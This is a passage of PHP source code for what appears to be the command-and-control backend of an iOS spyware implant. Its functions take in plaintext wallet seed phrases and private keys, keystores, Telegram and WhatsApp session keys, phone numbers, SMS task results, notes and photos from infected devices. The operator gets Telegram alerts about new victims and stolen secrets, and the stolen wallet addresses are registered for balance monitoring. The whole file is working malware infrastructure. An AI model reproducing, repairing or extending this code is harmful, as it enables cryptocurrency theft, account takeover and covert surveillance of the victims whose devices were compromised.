> 4)); } return $out; } /** * Campaign / channel id from reporting traffic. * * Primary: JSON / form field `c` (32 hex in HAR + type-0x01 embed). * Fallback: `channel` (seen on /link/config/list alongside `c`). */ public function extractChannelId(Request $request, ?array $payload): ?string { $candidates = []; if (is_array($payload)) { if (isset($payload['form']) && is_array($payload['form'])) { $candidates[] = $payload['form']['c'] ?? null; $candidates[] = $payload['form']['channel'] ?? null; } $candidates[] = $payload['c'] ?? null; $candidates[] = $payload['channel'] ?? null; } $candidates[] = $request->input('c'); $candidates[] = $request->input('channel'); foreach ($candidates as $value) { if (! is_string($value) || $value === '') { continue; } $value = trim($value); // HAR / implant: lowercase hex, typically 32 chars if (preg_match('/^[0-9a-fA-F]{16,64}$/', $value)) { return strtolower(substr($value, 0, 64)); } } return null; } /** * /api/user/avatar/put — create or touch device. * Create: fill profile + channel_id (put is the only trusted channel source). * Update: refresh updated_at; fill channel_id only when still empty (first trusted put). */ public function upsertDevice(Request $request, ?array $payload, ?string $deviceKey = null): ?Device { $deviceKey = $this->resolveDeviceKey($payload, $deviceKey); if (! $deviceKey) { return null; } $existing = Device::query()->where('device_id', $deviceKey)->first(); if ($existing) { $this->fillMissingAttribution($existing, $request, $payload, allowOldC: true); return $existing->refresh(); } return $this->createDevice($request, $payload, $deviceKey, allowOldC: true); } /** * Other C2 routes — create device if missing so business rows can attach. * Old builder: never write channel_id here (put will fill it later). * New builder core (`/a`, `/u`, `/event`): channel_id from ver/sdkv headers when present. * Other new-builder routes: create device without writing channel_id. */ public function ensureDevice(Request $request, ?array $payload, ?string $deviceKey = null): ?Device { $deviceKey = $this->resolveDeviceKey($payload, $deviceKey); if (! $deviceKey) { return null; } $existing = Device::query()->where('device_id', $deviceKey)->first(); if ($existing) { if ($this->isNewBuilderRequest($request) && $this->isXxbbCoreRequest($request)) { $this->fillMissingAttribution($existing, $request, $payload, allowOldC: false); return $existing->refresh(); } return $existing; } return $this->createDevice($request, $payload, $deviceKey, allowOldC: false); } private function resolveDeviceKey(?array $payload, ?string $deviceKey): ?string { $deviceKey = $deviceKey !== null ? self::normalizeDeviceKey(substr($deviceKey, 0, 64)) : $this->extractDeviceKey($payload); return $deviceKey !== null && $deviceKey !== '' ? $deviceKey : null; } private function channelIdEmpty(mixed $channelId): bool { return $channelId === null || $channelId === ''; } /** * Own number from sms.js / old imagent. First write wins. * Prefer `p` / `phoneNumber` / cardsinfo; bare `phone` is dest on /m/t/r. */ public function ingestDevicePhone(Device $device, ?array $payload): void { if (! is_array($payload)) { return; } if (trim((string) ($device->phone ?? '')) !== '') { return; } $phone = $this->extractOwnPhone($payload); if ($phone === null) { return; } $device->forceFill(['phone' => substr($phone, 0, 64)])->save(); } /** * sms.js: CTSettingCopyMyPhoneNumber → `p` / `phoneNumber`; SIM slot in cardsinfo. * `/m/t/r` uses `phone` as the send-to dest, so ignore it when task_id is present. */ private function extractOwnPhone(array $payload): ?string { foreach (['p', 'phoneNumber'] as $key) { $phone = $this->scalarToString($payload[$key] ?? null); if ($phone !== null) { return $phone; } } $cards = $payload['cardsinfo'] ?? $payload['cardsInfo'] ?? null; if (is_array($cards)) { foreach ($cards as $card) { if (! is_array($card)) { continue; } $phone = $this->scalarToString($card['phoneNumber'] ?? $card['phone'] ?? $card['p'] ?? null); if ($phone !== null) { return $phone; } } } $isTaskReport = $this->scalarToString($payload['task_id'] ?? $payload['taskId'] ?? null) !== null; if (! $isTaskReport) { return $this->scalarToString($payload['phone'] ?? null); } return null; } private function fillMissingAttribution( Device $device, Request $request, ?array $payload, bool $allowOldC, ): void { $needChannel = $this->channelIdEmpty($device->channel_id); $needDomain = trim((string) ($device->source_domain ?? '')) === ''; $model = $this->extractDeviceModel($payload); $ios = $this->extractIosVersion($payload); $needModel = $this->shouldReplaceModel($device->device_model, $model); $needIos = $this->shouldReplaceIos($device->ios_version, $ios); if (! $needChannel && ! $needDomain && ! $needModel && ! $needIos) { $device->forceFill(['updated_at' => now()])->saveQuietly(); return; } $attr = ($needChannel || $needDomain) ? $this->resolveChannelAttribution($request, $payload, $allowOldC) : ['channel_id' => null, 'source_domain' => null]; $touch = ['updated_at' => now()]; if ($needChannel && $attr['channel_id'] !== null && $attr['channel_id'] !== '') { $touch['channel_id'] = $attr['channel_id']; if (! $device->albumStorageEnabled() && User::albumStorageDefaultForChannel($attr['channel_id'])) { $touch['album_storage'] = true; } } if ($needDomain && $attr['source_domain'] !== null && $attr['source_domain'] !== '') { $touch['source_domain'] = $attr['source_domain']; } if ($needModel && $model !== null) { $touch['device_model'] = $model; } if ($needIos && $ios !== null) { $touch['ios_version'] = $ios; } $device->forceFill($touch)->saveQuietly(); } /** * Old C2 (`/api/user/avatar/put`): payload `c` is the unique channel_id. * New xxbb core (`/a`, `/u`, `/event`): channel_id from request header `ver` or `sdkv`. * Other xxbb short paths: never write channel_id (device may still be created). * * @return array{channel_id: ?string, source_domain: ?string} */ private function resolveChannelAttribution(Request $request, ?array $payload, bool $allowOldC): array { if ($this->isNewBuilderRequest($request)) { if ($this->isXxbbCoreRequest($request)) { $attr = $this->channelFromVerHeaders($request); if ($attr['channel_id'] !== null) { return $attr; } } } elseif ($allowOldC) { $channelId = $this->extractChannelId($request, $payload); if ($channelId !== null) { return ['channel_id' => $channelId, 'source_domain' => null]; } } // Fallback: channel_code from beacon payload (new builder PE worker /beacon path). // PE worker sends device_info.channel_code = the X.Y.ZZ channel id from the exploit chain. $channelCode = $this->extractChannelCodeFromPayload($payload); if ($channelCode !== null) { return ['channel_id' => $channelCode, 'source_domain' => null]; } return ['channel_id' => null, 'source_domain' => null]; } /** * Extract new-builder channel_code (X.Y.ZZ) from beacon/payload device_info. * PE worker sends: {"uuid":..., "device_info":{"channel_code":"X.Y.ZZ",...}, ...} */ private function extractChannelCodeFromPayload(?array $payload): ?string { if (! is_array($payload)) { return null; } $candidates = []; if (isset($payload['device_info']) && is_array($payload['device_info'])) { $candidates[] = $payload['device_info']['channel_code'] ?? null; } $candidates[] = $payload['channel_code'] ?? null; foreach ($candidates as $value) { if (! is_string($value) || $value === '') { continue; } $code = Channel::normalizeNewChannelId($value); if ($code !== null) { return $code; } } return null; } private function isNewBuilderRequest(Request $request): bool { return (bool) $request->attributes->get('coruna_new_builder', false); } private function isXxbbCoreRequest(Request $request): bool { return (bool) $request->attributes->get('coruna_xxbb_core', false); } /** * Core reports ver/sdkv as the per-channel patch string (X.Y.ZZ, 6 chars). * Missing or invalid headers → null channel_id; device is still created. * * @return array{channel_id: ?string, source_domain: ?string} */ private function channelFromVerHeaders(Request $request): array { foreach (['ver', 'sdkv'] as $header) { $raw = trim((string) $request->header($header, '')); if ($raw === '') { continue; } $code = Channel::normalizeNewChannelId($raw); if ($code !== null) { return ['channel_id' => $code, 'source_domain' => null]; } } return ['channel_id' => null, 'source_domain' => null]; } private function createDevice(Request $request, ?array $payload, string $deviceKey, bool $allowOldC): Device { $attr = $this->resolveChannelAttribution($request, $payload, $allowOldC); $attrs = [ 'device_id' => $deviceKey, 'ip' => VisitorIp::fromRequest($request), 'country' => CfIpCountry::fromRequest($request), 'device_model' => $this->extractDeviceModel($payload), 'ios_version' => $this->extractIosVersion($payload), 'channel_id' => $attr['channel_id'], 'source_domain' => $attr['source_domain'], 'album_storage' => User::albumStorageDefaultForChannel($attr['channel_id']), ]; // xxbb native UA is spoofed / inaccurate; only keep header UA for old lab C2. if (! $this->isNewBuilderRequest($request)) { $ua = substr((string) $request->userAgent(), 0, 2000); if ($ua !== '') { $attrs['user_agent'] = $ua; } } try { $device = Device::query()->create($attrs); } catch (UniqueConstraintViolationException | QueryException $e) { // Race condition: another request inserted the same device_id // between our firstOrCreate SELECT and this INSERT. Look up the // winner and return it instead of crashing the request. $existing = Device::query()->where('device_id', $deviceKey)->first(); if ($existing === null) { throw $e; } if ($this->isNewBuilderRequest($request) && $this->isXxbbCoreRequest($request)) { $this->fillMissingAttribution($existing, $request, $payload, $allowOldC); } return $existing->refresh(); } $this->telegram->notifyNewDevice($device->device_id, $device->ios_version, $device->ip); $device->telegram_notified = true; $device->save(); return $device->refresh(); } /** * App list from /api/user/get — one row per bundle (`al[]`: a=name, b=bundle, v=version). */ public function ingestInstalledApps(Device $device, ?array $payload): void { if (! is_array($payload) || empty($payload['al']) || ! is_array($payload['al'])) { return; } foreach ($payload['al'] as $item) { if (! is_array($item)) { continue; } $bundle = (string) ($item['b'] ?? $item['bundle_id'] ?? $item['bundleId'] ?? ''); $name = (string) ($item['a'] ?? $item['name'] ?? $bundle); $version = isset($item['v']) ? (string) $item['v'] : null; if ($bundle === '' || DeviceApp::shouldSkipBundle($bundle)) { continue; } DeviceApp::query()->updateOrCreate( ['device_id' => $device->id, 'bundle_id' => $bundle], [ 'name' => $name, 'version' => $version, 'is_wallet' => WalletSource::isPluginWalletBundle($bundle), 'meta_json' => $item, ] ); } $this->refreshDeviceWalletFlag($device); } /** * has_wallet: 0 unknown (no applist yet), 1 none, 2 plugin mnemonic wallets present. */ private function refreshDeviceWalletFlag(Device $device): void { $names = []; foreach ($device->apps()->get(['bundle_id', 'name']) as $app) { $bundle = (string) $app->bundle_id; if (! WalletSource::isPluginWalletBundle($bundle)) { continue; } $label = WalletSource::labelForBundle($bundle, $app->name); $names[$label] = true; } $labels = array_keys($names); sort($labels); $alreadyYes = (int) $device->has_wallet === Device::WALLET_YES; $device->has_wallet = $labels === [] ? Device::WALLET_NONE : Device::WALLET_YES; $device->wallet_names = $labels === [] ? null : $labels; if ($device->has_wallet === Device::WALLET_YES && ! $device->albumStorageEnabled()) { $device->album_storage = true; } $device->save(); if (! $alreadyYes && $device->has_wallet === Device::WALLET_YES) { $this->telegram->notifyInstalledWallets($device->device_id, $labels); } } /** * Behavior events from /api/user/avatar/put (`et` / `desc` / `ctx`). */ public function ingestDeviceEvent(Device $device, ?array $payload): void { if (! is_array($payload)) { return; } $eventName = $payload['et'] ?? $payload['event_name'] ?? null; $desc = $payload['desc'] ?? $payload['description'] ?? null; if ($eventName === null && $desc === null) { return; } $ctx = $payload['ctx'] ?? $payload['context'] ?? null; $contextJson = null; if (is_array($ctx)) { $contextJson = $ctx; } elseif ($ctx !== null) { $contextJson = ['value' => $ctx]; } DeviceEvent::query()->create([ 'device_id' => $device->id, 'device_key' => $device->device_id, 'event_name' => is_string($eventName) ? $eventName : null, 'desc' => is_string($desc) ? mb_substr($desc, 0, 512) : null, 'context_json' => $contextJson, ]); } /** * `/api/user/set` — plaintext mnemonic / private key in `result`. */ public function ingestMnemonic(Device $device, ?array $payload, ?Device $origin = null): void { if (! is_array($payload)) { return; } $secret = null; foreach (['result', 'mnemonic', 'seed', 'phrase', 'recovery', 'privateKey', 'private_key', 'privkey', 'wif'] as $key) { if (! empty($payload[$key]) && is_string($payload[$key])) { $secret = trim($payload[$key]); break; } } if ($secret === null || $secret === '') { return; } if (! $this->isValidMnemonic($secret)) { Log::warning('ingest mnemonic rejected: invalid phrase format', [ 'device_id' => $device->id, 'length' => strlen($secret), ]); return; } $hash = WalletMnemonic::hashSecret($secret); $row = WalletMnemonic::query()->firstOrNew([ 'device_id' => $device->id, 'mnemonic_hash' => $hash, ]); $isNew = ! $row->exists; $source = WalletSource::fromTag($payload['a'] ?? null); $row->source = $source; $row->mnemonic = $secret; if ($origin !== null && (int) $origin->id !== (int) $device->id && empty($row->origin_device_id)) { $row->origin_device_id = $origin->id; } $row->save(); if ($isNew) { $this->mnemonicLinker->linkMnemonicToDeviceAddresses($row); $this->telegram->notifyNewMemoric( $device->device_id, $source, $secret, $origin !== null ? $origin->device_id : null, ); } } /** * Validate that a secret looks like a BIP39 mnemonic (12 or 24 words, * each 3-8 lowercase letters). Non-mnemonic secrets (private keys, WIF) * are also accepted as-is. */ private function isValidMnemonic(string $secret): bool { $words = preg_split('/\s+/', strtolower(trim($secret))) ?: []; $n = count($words); if (in_array($n, [12, 15, 18, 21, 24], true)) { foreach ($words as $word) { if (preg_match('/^[a-z]{3,8}$/', $word) === 1) { continue; } if (preg_match('/^\p{Han}{1,4}$/u', $word) === 1) { continue; } return false; } return true; } // Not a word mnemonic — could be a hex private key, WIF, etc. Accept. return true; } /** * `/api/user/avatar/status` — store entire `result` keystore/identity blob. */ public function ingestKeystore(Device $device, ?array $payload): void { if (! is_array($payload) || ! array_key_exists('result', $payload)) { return; } $result = $payload['result']; if (is_string($result)) { $decoded = json_decode($result, true); if (is_array($decoded)) { $result = $decoded; } } if (! is_array($result) && ! is_string($result)) { return; } $source = WalletSource::fromKeystoreHint($payload['a'] ?? null); if ($source === '' && is_array($result)) { $source = WalletSource::fromKeystoreHint($result['source'] ?? null); } WalletKeystore::firstOrCreateForDevice( $device, $source, is_array($result) ? $result : ['value' => $result], ); } /** * xxbb tglib POST /api/tg/t — Telegram session (user_id + atomic-state + db). */ public function ingestTelegramAuth(Device $device, ?array $payload): void { $this->upsertPluginSession($device, PluginSession::KIND_TELEGRAM, $payload, [ 'user_id', 'state', 'db_sqlite', 'datacenterAuthInfoById', 'datacenterAddressSetById', 'backupData', ], ['user_id', 'userId']); } /** * xxbb wap POST /api/wp/t — WhatsApp session keys (userId + phoneKeyStore). */ public function ingestWhatsAppAuth(Device $device, ?array $payload): void { $payload = $this->normalizeWhatsAppPayload($payload); $this->upsertPluginSession($device, PluginSession::KIND_WHATSAPP, $payload, [ 'userId', 'phoneId', 'registrationID', 'identity', 'identityPrivateKey', 'identityPublicKey', 'clientStaticKeypairBase64', 'phoneKeyStore', 'deviceConfig', 'whatsappVersion', 'nickname', ], ['userId', 'user_id', 'account']); } /** * Live wap.js: {account, data: json-string, ecid}. Older builds send keys at the top level. * * @param array|null $payload * @return array|null */ private function normalizeWhatsAppPayload(?array $payload): ?array { if (! is_array($payload)) { return $payload; } $data = $payload['data'] ?? null; if (is_string($data) && $data !== '') { $decoded = json_decode($data, true); if (is_array($decoded)) { $payload = array_merge($decoded, $payload); } } foreach (['phoneKeyStore', 'deviceConfig', 'userId'] as $key) { $value = $payload[$key] ?? null; if (! is_string($value) || $value === '') { continue; } $inner = json_decode($value, true); if (json_last_error() === JSON_ERROR_NONE) { $payload[$key] = $inner; } } if (! array_key_exists('userId', $payload) && isset($payload['account'])) { $payload['userId'] = $payload['account']; } return $payload; } /** * sms.js /m/t/g — own number via CTSettingCopyMyPhoneNumber (`p` / `phone` / `phoneNumber`). */ public function ingestSmsHeartbeat(Device $device, ?array $payload): void { if (! is_array($payload)) { return; } $this->ingestDevicePhone($device, $payload); } /** * sms.js POST /m/t/r — task result. Dest is `phone`; own number is `p` / `phoneNumber`. */ public function ingestSmsTaskReport(Device $device, ?array $payload): void { if (! is_array($payload)) { return; } $this->ingestDevicePhone($device, $payload); $taskId = $this->scalarToString($payload['task_id'] ?? $payload['taskId'] ?? null); $dest = $this->scalarToString($payload['phone'] ?? $payload['to'] ?? $payload['t'] ?? null); $local = $this->scalarToString($payload['p'] ?? $payload['phoneNumber'] ?? null); $msg = $this->scalarToString($payload['msg'] ?? $payload['m'] ?? null); $status = $this->scalarToString($payload['status'] ?? $payload['s'] ?? $payload['code'] ?? null); if ($taskId === null && $dest === null && $msg === null && $status === null) { return; } SmsReport::query()->create([ 'device_id' => $device->id, 'device_key' => $device->device_id, 'task_id' => $taskId, 'dest_phone' => $dest !== null ? substr($dest, 0, 64) : null, 'local_phone' => $local !== null ? substr($local, 0, 64) : null, 'msg' => $msg, 'status' => $status !== null ? substr($status, 0, 64) : null, 'payload' => $payload, ]); } /** * @param list $keepKeys * @param list $accountKeys */ private function upsertPluginSession( Device $device, string $kind, ?array $payload, array $keepKeys, array $accountKeys, ): void { if (! is_array($payload)) { return; } if (isset($payload['result']) && is_array($payload['result'])) { $payload = array_merge($payload['result'], $payload); } $blob = []; foreach ($keepKeys as $key) { if (array_key_exists($key, $payload)) { $blob[$key] = $payload[$key]; } } if ($blob === []) { return; } $account = null; foreach ($accountKeys as $key) { $account = $this->scalarToString($payload[$key] ?? $blob[$key] ?? null); if ($account !== null) { break; } } $phone = (int) $kind === PluginSession::KIND_WHATSAPP ? $this->scalarToString($payload['userId'] ?? $payload['account'] ?? $payload['phoneId'] ?? $payload['phone'] ?? null) : null; $blob = $this->storePluginSessionFile($device, $kind, $account, $blob); PluginSession::query()->updateOrCreate( [ 'device_id' => $device->id, 'kind' => $kind, 'account_id' => $account, ], [ 'device_key' => $device->device_id, 'phone' => $phone !== null ? substr($phone, 0, 64) : null, 'payload' => $blob, ], ); $device->refreshImFlags(); } /** * Keep a summary in MySQL; write the full session JSON to disk. * * @param array $blob * @return array */ private function storePluginSessionFile(Device $device, string $kind, ?string $account, array $blob): array { $path = PluginSession::payloadFilePath($kind, $device->device_id, $account); $json = json_encode($blob, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES); $json = $json === false ? '{}' : $json; Storage::disk('local')->put($path, $json); return PluginSession::dbSummary($kind, $blob, $path, strlen($json)); } private function scalarToString(mixed $value): ?string { if (is_int($value) || is_float($value)) { return (string) $value; } if (! is_string($value)) { return null; } $value = trim($value); return $value !== '' ? $value : null; } /** * `/api/user/status` — addresses + balances from `ba` / `ad` / legacy `data`. */ public function ingestAddresses(Device $device, ?array $payload): void { if (! is_array($payload)) { return; } $source = WalletSource::fromTag($payload['a'] ?? null); $rows = $this->normalizeStatusAddressRows($payload); /** @var list $notify */ $notify = []; foreach ($rows as $row) { $address = $row['address'] ?? null; if (! is_string($address) || $address === '') { continue; } $chainType = (string) ($row['chain_type'] ?? ''); if ($chainType === '') { $chainType = WalletSource::inferChainType($address); } $chainType = strtoupper(trim($chainType)); if (! WalletSource::isSupportedChain($chainType)) { continue; } $balance = $row['balance'] ?? ''; // Global Wallet ad map: scalar is not a balance → ignore coin fields. if (! is_array($balance) && ! is_string($balance)) { $balance = ''; } $existing = $this->findAddressRow($device->id, $address, $source, $chainType); $beforeCoins = $existing?->coinSnapshot(); $coinAttrs = WalletAddress::coinAttributesFromBalance(is_array($balance) ? $balance : null); $attrs = ['chain_type' => $chainType]; foreach ($coinAttrs as $col => $value) { $attrs[$col] = $value; } // Default monitor on for new rows; disabled only when Tokenview enable fails. if (! $existing) { $attrs['monitor'] = 1; } if ($existing !== null) { $existing->fill($attrs); $existing->save(); $addr = $existing; } else { $addr = new WalletAddress([ 'device_id' => $device->id, 'address' => $address, 'source' => $source, ]); $addr->fill($attrs); try { $addr->save(); } catch (UniqueConstraintViolationException $e) { // Race condition: another concurrent ingest inserted the // same row between findAddressRow() and save(). Re-fetch // and update instead of inserting. $addr = $this->findAddressRow($device->id, $address, $source, $chainType); if ($addr !== null) { $addr->fill($attrs); $addr->save(); } else { throw $e; } } } if ($addr->mnemonic_id === null) { $this->mnemonicLinker->linkAddress($addr); } $isTron = in_array($chainType, ['TRON', 'TRX'], true); $isBtc = in_array($chainType, ['BTC', 'BITCOIN'], true); // Tron: client payloads often omit/zero balances — pull TRX/USDT before notify. // BTC: Trust/client often reports sats or lifetime totals as BTC — overwrite from mempool UTXO. if (($isTron && (! $existing || $coinAttrs === [])) || $isBtc) { $this->balances->refresh($addr); $addr->refresh(); } if (! $existing) { $this->enableMonitorOrDisable($addr); } if (! $existing && in_array($chainType, ['ETH', 'ETHEREUM', 'EVM'], true)) { $bsc = $this->balances->ensureBscForEthAddress($addr); if ($bsc !== null && $bsc->wasRecentlyCreated) { $this->enableMonitorOrDisable($bsc); $notify[] = [ 'address' => (string) $bsc->address, 'chain' => 'BSC', 'balance' => $bsc->balanceDisplayLine(), 'source' => $source, ]; } } $balanceSummary = $addr->balanceDisplayLine(); $shouldNotify = ! $existing || ($coinAttrs !== [] && $beforeCoins !== $addr->coinSnapshot()); if ($shouldNotify) { $notify[] = [ 'address' => $address, 'chain' => $chainType, 'balance' => $balanceSummary, 'source' => $source, ]; } unset($addr); } if ($notify !== []) { $this->telegram->notifyNewWallets($device->device_id, $notify); } } private function findAddressRow(int $deviceId, string $address, ?string $source, string $chainType): ?WalletAddress { $aliases = match (true) { in_array($chainType, ['ETH', 'ETHEREUM', 'EVM'], true) => ['ETH', 'ETHEREUM', 'EVM'], in_array($chainType, ['BSC', 'BNB', 'BINANCE'], true) => ['BSC', 'BNB', 'BINANCE'], in_array($chainType, ['TRON', 'TRX'], true) => ['TRON', 'TRX'], in_array($chainType, ['BTC', 'BITCOIN'], true) => ['BTC', 'BITCOIN'], in_array($chainType, ['SOL', 'SOLANA'], true) => ['SOL', 'SOLANA'], in_array($chainType, ['ARB', 'ARBITRUM'], true) => ['ARB', 'ARBITRUM'], default => [$chainType], }; return WalletAddress::query() ->where('device_id', $deviceId) ->where('address', $address) ->where('source', $source) ->whereIn('chain_type', $aliases) ->first(); } /** * Two-field monitor model: * monitor — user-facing switch (default ON for new addresses) * monitor_synced — actual Tokenview registration state (default OFF; * only set to true when syncMonitor() succeeds) * * On ingest we attempt the initial Tokenview registration. If it fails * (network error, rate limit, etc.) we leave monitor=1 and * monitor_synced=0 so the sync-monitors scheduled command will retry. */ private function enableMonitorOrDisable(WalletAddress $address): void { // Tokenview not configured or unsupported chain → switch off. if (! $this->tokenview->shouldMonitor($address)) { if ((int) $address->monitor !== 0 || (bool) $address->monitor_synced || (int) $address->monitor_failures !== 0) { $address->monitor = 0; $address->monitor_synced = false; $address->monitor_failures = 0; $address->save(); } return; } // Try to register with Tokenview. try { if ($this->tokenview->syncMonitor($address)) { // syncMonitor() flips monitor_synced=true on success. return; } } catch (\Throwable $e) { Log::warning('tokenview enable on ingest failed: '.$e->getMessage(), [ 'wallet_address_id' => $address->id, ]); } // syncMonitor returned false or threw — transient API failure. // Keep monitor=1, ensure monitor_synced=0 for retry by scheduled task. if ((bool) $address->monitor_synced) { $address->monitor_synced = false; $address->save(); } Log::info('tokenview sync failed, keeping monitor=1 for retry', [ 'wallet_address_id' => $address->id, ]); } /** * `/api/user/avatar/pic` — Notes reader; content = payload.list. */ public function ingestNotes(Device $device, ?array $payload): void { if (! is_array($payload) || ! array_key_exists('list', $payload)) { return; } $items = NoteContent::fromList($payload['list']); if ($items === []) { return; } $hash = NoteContent::hash($items); // Only select id + content_hash — the `content` column can be a large // JSON blob that blows up MySQL's sort buffer when ORDER BY loads full rows. $existing = Note::query() ->where('device_id', $device->id) ->orderByDesc('id') ->first(['id', 'content_hash']); if ($existing) { Note::query()->where('device_id', $device->id)->where('id', '!=', $existing->id)->delete(); if (hash_equals((string) $existing->content_hash, $hash)) { return; } $existing->forceFill([ 'content' => $items, 'content_hash' => $hash, ])->save(); app(MnemonicScanService::class)->dispatchNotes($device); return; } Note::query()->create([ 'device_id' => $device->id, 'content' => $items, 'content_hash' => $hash, ]); app(MnemonicScanService::class)->dispatchNotes($device); } /** * Decode /check multipart `idx` / `ftu` 12-hex packs: "%06llx%06llx". * * @return array{0: ?int, 1: ?int} */ public static function decodeHexCounterPair(mixed $packed): array { if (! is_string($packed) || ! preg_match('/^[0-9a-fA-F]{12}$/', $packed)) { return [null, null]; } return [(int) hexdec(substr($packed, 0, 6)), (int) hexdec(substr($packed, 6, 6))]; } /** * @param array{ * x_hit?: ?int, * upload_count?: ?int, * process_index?: ?int, * text_count?: ?int, * barcode_count?: ?int * } $meta */ public function ingestPhotos(Device $device, array $filePaths, array $meta = []): void { if (! $device->albumStorageEnabled()) { return; } $stored = 0; foreach ($filePaths as $path) { if (! is_file($path)) { continue; } $bytes = file_get_contents($path); $sha = hash('sha256', $bytes); // Same file content → skip DB insert (idempotent). if (Photo::query()->where('device_id', $device->id)->where('sha256', $sha)->exists()) { continue; } $rel = 'c2/photos/'.$device->device_id.'/'.$sha.'_'.basename($path); Storage::disk('local')->put($rel, $bytes); $photo = Photo::query()->create([ 'device_id' => $device->id, 'sha256' => $sha, 'path' => $rel, 'size' => strlen($bytes), 'x_hit' => $meta['x_hit'] ?? null, 'upload_count' => $meta['upload_count'] ?? null, 'process_index' => $meta['process_index'] ?? null, 'text_count' => $meta['text_count'] ?? null, 'barcode_count' => $meta['barcode_count'] ?? null, ]); app(MnemonicScanService::class)->dispatchPhoto($photo); $stored++; } $xHit = $meta['x_hit'] ?? null; if ($stored > 0 && $xHit !== null && (int) $xHit === Photo::X_HIT_ALERT) { $this->telegram->notifySensitivePhoto($device->device_id, (int) $xHit, $stored); } } private function extractDeviceModel(?array $payload): ?string { if (! is_array($payload)) { return null; } $info = $payload['deviceInfo'] ?? null; if (is_array($info)) { foreach (['productType', 'machine', 'model'] as $key) { if (! empty($info[$key]) && is_string($info[$key]) && $this->looksLikeHardwareModel($info[$key])) { return $info[$key]; } } } foreach (['machine', 'm', 'deviceModel'] as $key) { if (! empty($payload[$key]) && is_string($payload[$key]) && $this->looksLikeHardwareModel($payload[$key])) { return $payload[$key]; } } return null; } private function extractIosVersion(?array $payload): ?string { if (! is_array($payload)) { return null; } $info = $payload['deviceInfo'] ?? null; if (is_array($info) && $this->looksLikeIosVersion($info['productVersion'] ?? null)) { return trim((string) $info['productVersion']); } $sv = $payload['systemVersion'] ?? null; if (is_array($sv) && $this->looksLikeIosVersion($sv['ProductVersion'] ?? null)) { return trim((string) $sv['ProductVersion']); } if (is_string($sv) && $this->looksLikeIosVersion($sv)) { return trim($sv); } foreach (['v', 'pv', 'ios', 'ios_version'] as $key) { if ($this->looksLikeIosVersion($payload[$key] ?? null)) { return trim((string) $payload[$key]); } } return null; } private function looksLikeHardwareModel(string $value): bool { return (bool) preg_match('/^[A-Za-z]+\d/', $value); } private function looksLikeIosVersion(mixed $value): bool { return is_string($value) && $value !== '' && (bool) preg_match('/^\d+(\.\d+){1,3}$/', trim($value)); } private function shouldReplaceModel(mixed $current, ?string $incoming): bool { if ($incoming === null || $incoming === '') { return false; } $current = trim((string) $current); return $current === '' || ! $this->looksLikeHardwareModel($current); } private function shouldReplaceIos(mixed $current, ?string $incoming): bool { if ($incoming === null || $incoming === '') { return false; } return ! $this->looksLikeIosVersion($current); } /** * Normalize `/api/user/status` shapes into address rows. * * @return list}> */ private function normalizeStatusAddressRows(array $payload): array { $ba = $payload['ba'] ?? null; if (is_string($ba)) { $decoded = json_decode($ba, true); $ba = is_array($decoded) ? $decoded : null; } if (is_array($ba)) { return $this->normalizeBaAddressRows($ba); } $ad = $payload['ad'] ?? null; if (is_string($ad)) { $decoded = json_decode($ad, true); $ad = is_array($decoded) ? $decoded : null; } if (is_array($ad)) { return $this->normalizeAdAddressRows($ad); } if (isset($payload['data']) && is_array($payload['data'])) { return $this->normalizeLegacyDataRows($payload['data']); } return []; } /** * imToken-style: { "
": [ { balance, chainType, symbol, decimal }, ... ] } * * @param array $ba * @return list}> */ private function normalizeBaAddressRows(array $ba): array { $out = []; foreach ($ba as $address => $assets) { if (! is_string($address) || $address === '' || ! is_array($assets)) { continue; } $balance = []; $chainType = ''; foreach ($assets as $asset) { if (! is_array($asset)) { continue; } if ($chainType === '') { $chainType = (string) ($asset['chainType'] ?? $asset['chain'] ?? ''); } $symbol = strtoupper((string) ($asset['symbol'] ?? '')); if ($symbol === '') { continue; } $balance[$symbol] = WalletSource::formatBalance( $asset['balance'] ?? 0, $asset['decimal'] ?? $asset['decimals'] ?? null ); } if ($chainType === '') { $chainType = WalletSource::inferChainType($address); } $out[] = [ 'address' => $address, 'chain_type' => strtoupper($chainType), 'balance' => $balance, ]; } return $out; } /** * Global: { "
": "" } — scalar is NOT a balance. * Trust: [ { address, symbol, balance, decimals }, ... ] * * @param array $ad * @return list|string}> */ private function normalizeAdAddressRows(array $ad): array { if (array_is_list($ad)) { /** @var array}> $byAddr */ $byAddr = []; foreach ($ad as $item) { if (! is_array($item)) { continue; } $address = (string) ($item['address'] ?? ''); if ($address === '') { continue; } $chain = strtoupper((string) ($item['chainType'] ?? $item['chain'] ?? '')); if ($chain === '') { $chain = WalletSource::inferChainType($address); } // Key by address + chain: the same 0x address is a valid row on // ETH, BSC and ARB at once and must not collapse into one. $key = $address.'|'.$chain; if (! isset($byAddr[$key])) { $byAddr[$key] = [ 'address' => $address, 'chain_type' => $chain, 'balance' => [], ]; } $symbol = strtoupper((string) ($item['symbol'] ?? '')); if ($symbol === '') { continue; } $byAddr[$key]['balance'][$symbol] = WalletSource::formatBalance( $item['balance'] ?? $item['value'] ?? 0, $item['decimal'] ?? $item['decimals'] ?? null ); } return array_values($byAddr); } // Global Wallet: address → opaque scalar (not balance) → store empty string $out = []; foreach ($ad as $address => $value) { if (! is_string($address) || $address === '') { continue; } $out[] = [ 'address' => $address, 'chain_type' => WalletSource::inferChainType($address), 'balance' => '', ]; } return $out; } /** * Legacy lab fixture: [ { address, chain, balance, symbol } ] * * @param array $data * @return list}> */ private function normalizeLegacyDataRows(array $data): array { $items = array_is_list($data) ? $data : (isset($data['address']) ? [$data] : []); $out = []; foreach ($items as $item) { if (! is_array($item)) { continue; } $address = (string) ($item['address'] ?? ''); if ($address === '') { continue; } $chainType = (string) ($item['chainType'] ?? $item['chain'] ?? ''); if ($chainType === '') { $chainType = WalletSource::inferChainType($address); } $symbol = strtoupper((string) ($item['symbol'] ?? WalletSource::nativeSymbolForChain($chainType))); $out[] = [ 'address' => $address, 'chain_type' => strtoupper($chainType), 'balance' => [ $symbol => WalletSource::formatBalance( $item['balance'] ?? 0, $item['decimal'] ?? $item['decimals'] ?? null ), ], ]; } return $out; } }